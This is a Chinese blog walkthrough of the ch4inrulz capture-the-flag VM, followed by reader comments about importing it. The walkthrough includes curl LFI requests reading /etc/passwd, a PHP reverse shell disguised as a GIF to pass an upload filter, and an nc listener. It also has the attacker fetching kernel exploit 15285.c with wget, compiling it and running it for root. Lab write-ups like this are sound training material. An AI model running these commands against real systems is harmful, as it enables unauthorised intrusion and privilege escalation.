靶机渗透测试实战--hack the ch4inrulz

SoftNight 技术 2018年8月18日发布
Favorite收藏

导语:我将做一个靶机渗透实战系列,废话不多说,直奔主题,我们今天的靶机是ch4inrulz

大家好,从本篇文章开始,我将做一个靶机渗透实战系列,废话不多说,直奔主题,我们今天的靶机是ch4inrulz,靶机下载地址在这里

这次靶机实战的目的是获取root权限并入读flag中的信息。

本次实验难度适中,没有缓冲区溢出漏洞,也不需要我们进行exp编写,但是也能让我们进行一些思考。

首先说下这个靶机渗透的几个步骤:

1.       端口扫面和确定IP地址

2.       80端口目录遍历

3.       8011端口目录遍历

4.       寻找LFI漏洞

5.       发现HTML备份文件

6.       破解密码hash

7.       登录开发页面

8.       上传伪装成GIF图片的PHP shell

9.       绕过检查,利用LFI漏洞获取nc shell

10.   提权并获取flag信息

好了,现在开始搞事情

首先,按照常规套路,使用netdiscover工具进行网络扫描来发现靶机的IP地址。在我这个例子中,IP是192.168.1.103,如图:

1.png

找到IP之后,我们就用nmap来进行端口扫描

2.png

可以看到开放了21,22,80,8011端口。既然开了80端口,那我们就用浏览器访问以下,可以看到一个主页,看起来像是一份简历,如图:

3.png

探索一番,没有发现什么东西,那我们就进行目录遍历,这里使用kali自带的dirb工具,如图:

5.png

发现了robots.txt文件,不过也没有什么东西。另外一个目录是/development,这个目录有点意思,访问这个目录,弹框要求进行身份验证,应该是一个测试页面。

6.png

因为我们现在没有凭证,所以只能先放着,看看一会儿是否会有收获。

我们再来看看8011端口,直接访问主页也没什么东西,好像是一个后端开发部署页面,如图:

7.png

我们还是用dirb进行目录遍历,如图:

8.png

发现了一个/api目录,凭经验,这个目录肯定有线索,直接访问,得到如下内容:

9.png

把这几个目录挨个访问以下,发现只有files_api.php有用,访问后内得到如下页面:

10.png

意思就是没有传递file参数。这么一说,很明显是要我们传递file参数,那我们直接在URL后面添加file参数,请求URL如下:

192.168.1.103:8011/api/files_api.php?file=/etc/passwd

结果如图:

11.png

然而并没有卵用,显示输入错误,还把IP给记录下来了。通常情况下,既然get方式传参不行,那我们试一下post传参,我们使用curl工具来实现,命令如下:

curl – X POST –d "file=/etc/passwd" http://192.168.1.103:8011/api/files_api.php

12.png

可以看到,我们读取到了/etc/passwd,证明存在LFI本地包含漏洞。

针对这个LFI漏洞,我们尝试了一些方法,但是都无果。

同时,有个现象引起了我的注意,就是这个开发服务器。有一个开发页面,一个开发服务器,肯定不止一个HTML文件,所以大胆猜测它应该有HTML备份文件,通常HTML备份文件都是index.html.bak,我们尝试去访问以下,弹出了一个下载页,哈哈,瞎猫碰上了死耗子。

14.png

我们将它保存下来,并且用cat命令读取内容:

15.png

太好了,可以看到存在密码hash,那还等什么,赶紧把hash值拷到hash.txt文件中,然后用John the Ripper进行破解:

17.png

破解出来是frank:frank!!!

这应该就是/development弹框时的用户名和密码了,我们登录试试:

18.png

果不其然,我们登录进来了,如图:

19.png

页面信息告诉我们,这个上传工具只完成了一半,那我们进入这个uploader看看,如图:

20.png

竟然是一个文件上传页,这里对文件上传类型做了限制,只允许上传jpg,png和gif,文件大小也做了限制。

看看如何来绕过限制?

我是这么做的,切换到kali自带的webshell目录下,也就是/usr/share/webshells/php,找到php反弹shell的文件php-reverse-shell.php,用编辑器打开该文件,在文件第一行插入gif图标志GIF98,并且保存为shell.gif图片格式,如图:

21.png

这么做就可以让uploader验证机制认为这是一个正常的图片,而实际上,却是PHP反弹shell文件。

现在我们便使用uploader将图片上传到服务器,收到如下响应:

22.png

信息表明,文件已经成功上传到我的uploads路径下。

现在我们把目前收集到的信息小小总结回顾一下:

网站名:Frank’s website

Uploader名:Frank uploader

网站第一条信息:I love patterns

这里猜测上传路径花了一些时间,不过最后还是猜出来了,上传目录应该就是frank uploads。但是具体的大小写并不清楚,所以我们尝试了很多遍,如Frankupload,frankUploads,franksuploads等等,最后试出来的是FRANKuploads。

这一步笔记枯燥也很费时间,但是也没有别的办法能够直接爆出路径,现在我们访问这个路径来看下:

23.png

现在万事具备,只欠触发这个伪装成gif的PHP后门。直接访问肯定是没用的,我们还是通过curl这个工具来发起请求:

curl –X POST –d "file=/var/www/development/uploader/FRANKuploads/shell.gif" http://192.168.1.103:8011/api/files_api.php

同时,我们在本机使用nc监听1234端口(跟反弹shell的PHP文件保持一样),如图:

nc -lvp 1234

25.png

一旦curl触发LFI漏洞,向shell.gif发起请求,很快我们就获得了一个nc会话!如图所示,我们用id命令来查看用户信息,并且使用了python命令来进入服务器的bash shell,

Python –c 'import pty;pty.spawn("/bin/bash");'

进入到服务器的shell后,我们使用uname –a命令来查看下系统内核版本,如上图可以看出版本是Linux2.6.35,Google一下可以知道这个版本存在漏洞,对应的提权exp是15285.c。

我们在kali中利用searchsploit工具搜索一下这个exp,然后执行下列操作:

searchsploit 15285

cd Desktop

cp /usr/share/exploitdb/exploits/linux/local/15285.c  .

python –m SimpleHTTPServer 80

26.png

这几条命令的意思是,搜索15285这个exp,切换到桌面,将exp拷贝到桌面,然后以桌面为网站绝对路径开启HTTP服务。

接着,在我们刚刚利用nc获取到的shell中来下载这个exp,也就是下载到目标机上,编译exp并执行,得以提权成功,执行的命令如下:

cd tmp

wget http://192.168.1.107/15285.c

gcc 15285.c –o 15285

chmod 777 15285

./15285

执行之后我们便获得了root权限,cd到root,便可以看到flag文件,读取到flag文件内容,如图:

27.png

本次靶机实验到此结束,各位白帽子们也可以下载靶机玩耍。

如若转载,请注明原文地址: http://www.4hou.com/technology/13140.html
点赞 3
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

    Soul 2018-09-04 17:24

    大佬 下载地址下载不了啊

    毛毛 2018-08-30 20:56

    要开机账号密码

      SoftNight 2018-09-03 11:12

      回复 @毛毛 靶机渗透的目的就是在不知道账号密码的情况下进行渗透,然后拿到shell,提权到root。

    毛毛 2018-08-30 11:54

    导入失败,因为 C:\Users\15488\AppData\Local\Temp\360zip$Temp\360$1\CH4INRULZ.ovf 未通过 OVF 规范一致性或虚拟硬件合规性检查。

    请单击“重试”放松 OVF 规范与虚拟硬件合规性检查,并重新尝试导入;或单击“取消”以取消导入。如果重新尝试导入,可能无法使用 VMware Workstation 中的虚拟机。这样子是是什么意思???

      SoftNight 2018-09-03 11:10

      回复 @毛毛 可以使用virtualBox试下;或者下载一个ovftools,然后替换掉VMware安装路径中的ovf工具,具体过程请自行搜索查找

    filazy 2018-08-21 23:56

    就是镜像导入VM之后进去的时候要输ubuntu login用户名和密码哦

    嘶吼用户47459 2018-08-21 08:07

    passwd root
    root
    root
    # 密码就是root

    yb 2018-08-20 21:57

    passwd root
    root
    root
    # 密码就是root了

    kkk 2018-08-20 15:44

    可以网盘分享一下吗

    filazy 2018-08-19 00:11

    大兄弟,靶机镜像进系统密码是多少啊?

      SoftNight 2018-08-20 15:34

      回复 @filazy 这个没有密码,需要你自己上传文件getshell,然后再提权